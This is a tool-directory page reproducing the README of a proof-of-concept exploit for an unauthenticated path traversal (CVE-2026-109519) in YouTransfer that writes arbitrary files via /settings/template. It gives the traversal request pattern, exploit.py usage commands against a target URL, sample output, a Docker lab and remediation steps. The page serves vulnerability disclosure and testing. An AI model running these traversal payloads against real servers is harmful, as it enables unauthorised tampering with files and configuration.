Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/0xgh0stri13y/cve-2026-109519
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLabs & Practice
GitHub0xgh0stri13y/cve-2026-109519

CVE-2026-109519

Python PoC exploit for CVE-2026-109519, an unauthenticated path traversal in YouTransfer <= 1.1.0 that writes arbitrary files via /settings/template, with write verification.

View Repository
328 days agoNot yet reviewed
Share

CVE-2026-109519 — Unauthenticated Path Traversal

Arbitrary File Write via Path Traversal in YouTransfer /settings/template

CVE-2026-109519 Assigned CVSS 8.3 No Auth Version


📋 Summary

FieldDetail
CVE IDCVE-2026-109519
VulDB ID417175
ProductYouTransfer
Affected Version<= 1.1.0
TypePath Traversal / Arbitrary File Write
Attack VectorNetwork (unauthenticated)
CVSS Score8.3 — High
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
CWECWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Author@0xgh0stri13y

🔍 Vulnerability Details

YouTransfer exposes an unauthenticated /settings/template endpoint that allows writing template files to disk. The template parameter is passed directly to the filesystem without any sanitisation of path traversal sequences (../).

An attacker can abuse this to write arbitrary content to any path accessible by the application process, escaping the intended templates directory entirely.

Root Cause

POST /settings/template

template=../../../arbitrary/path/file.txt    ← no path validation
body=ATTACKER_CONTROLLED_CONTENT             ← no content filtering

The application trusts the template parameter as a relative path and writes the body content to that location without:

  • Checking for ../ sequences
  • Requiring authentication or session tokens
  • Restricting the target directory via path.resolve() or similar safeguards
  • Validating or filtering the content written

Impact

  • Arbitrary file write — An attacker can overwrite or create files anywhere the YouTransfer process has write permissions.
  • Configuration tampering — Application configuration files can be overwritten, leading to denial of service or modified behaviour.
  • Data integrity loss — Existing application files (templates, static assets, etc.) can be silently replaced with attacker-controlled content.
  • Potential for further exploitation — Writing to sensitive locations may enable secondary attacks depending on the deployment environment.

🔗 Attack Flow

┌─────────────────────────┐
│  Attacker               │
└────────┬────────────────┘
         │
         │ POST /settings/template
         │   template = ../../../target/path/file.ext
         │   body     = <attacker-controlled content>
         │
         ▼
┌─────────────────────────┐
│  YouTransfer Server     │
│  (No auth required)     │
│                         │
│  path.join(templateDir, │
│    "../../../target/..") │
│                         │
│  Writes content to disk │
│  OUTSIDE templates dir  │
└─────────────────────────┘
         │
         ▼
   File written to arbitrary
   location on the server

🚀 Usage

Requirements

  • Python 3.x (no external dependencies — stdlib only)

Basic Usage

# Write a proof-of-concept file to demonstrate path traversal
python exploit.py -t http://target:5000

# Write to a custom path outside the templates directory
python exploit.py -t http://target:5000 -p "../../../tmp/pwned.txt" -b "CVE-2026-109519 PoC"

# Verify with a benign canary file
python exploit.py -t http://target:5000 -p "../views/pages/canary.html" -b "<h1>Path Traversal PoC</h1>"

Help

$ python exploit.py --help

usage: exploit.py [-h] -t TARGET [-p TEMPLATE_PATH] [-b BODY] [--timeout TIMEOUT] [--verify]

CVE-2026-109519 — YouTransfer <= 1.1.0 — Unauthenticated Path Traversal (Arbitrary File Write)

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   YouTransfer base URL (e.g. http://victim:5000)
  -p, --template-path TEMPLATE_PATH
                        Traversal path for the template parameter
                        (default: ../poc_pathtraversal.txt)
  -b, --body BODY       Content to write to the file
                        (default: CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y)
  --timeout TIMEOUT     HTTP timeout in seconds (default: 15)
  --verify              Attempt to verify the write via GET request

Example Output

  ┌─────────────────────────────────────────────────┐
  │          CVE-2026-109519  PoC Exploit           │
  │  YouTransfer <= 1.1.0  Path Traversal (CWE-22)  │
  └─────────────────────────────────────────────────┘
   Unauthenticated Arbitrary File Write
   github.com/0xgh0stri13y

  [*] Target  : http://target:5000
  [*] Path    : ../poc_pathtraversal.txt
  ────────────────────────────────────────────────────────

  [*] Checking target: http://target:5000
  [+] Target is alive and running YouTransfer

  [*] Sending path traversal payload via POST /settings/template
  [*]   template = ../poc_pathtraversal.txt
  [*]   body     = CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y
  [+] Payload delivered successfully (HTTP 200, no auth required)

  [*] Verifying file write...
  [+] Verification successful — file content matches payload ✓

  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    Path traversal confirmed — arbitrary file write verified
  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  [+] Exploit completed successfully — Path Traversal confirmed ✓

🧪 Lab Setup

Spin up a vulnerable instance using Docker:

docker pull remie/youtransfer:stable
docker run -d -p 5000:5000 --name youtransfer-vuln remie/youtransfer:stable

Then run the exploit:

python exploit.py -t http://127.0.0.1:5000 --verify

🛡️ Remediation

  1. Authenticate the /settings/template endpoint — require a valid admin session.
  2. Sanitise the template path — reject or strip ../ sequences; use path.resolve() and verify the resolved path stays within the intended templates directory.
  3. Upgrade to a patched version once available.

⚠️ Disclaimer

This tool and the information provided are for authorised security research and educational purposes only. Use of this exploit against systems without explicit written permission from the owner is illegal and unethical. The author is not responsible for any misuse or damage caused by this tool.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    436
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    386

Explore all tools

Browse our collection of tools

View all tools →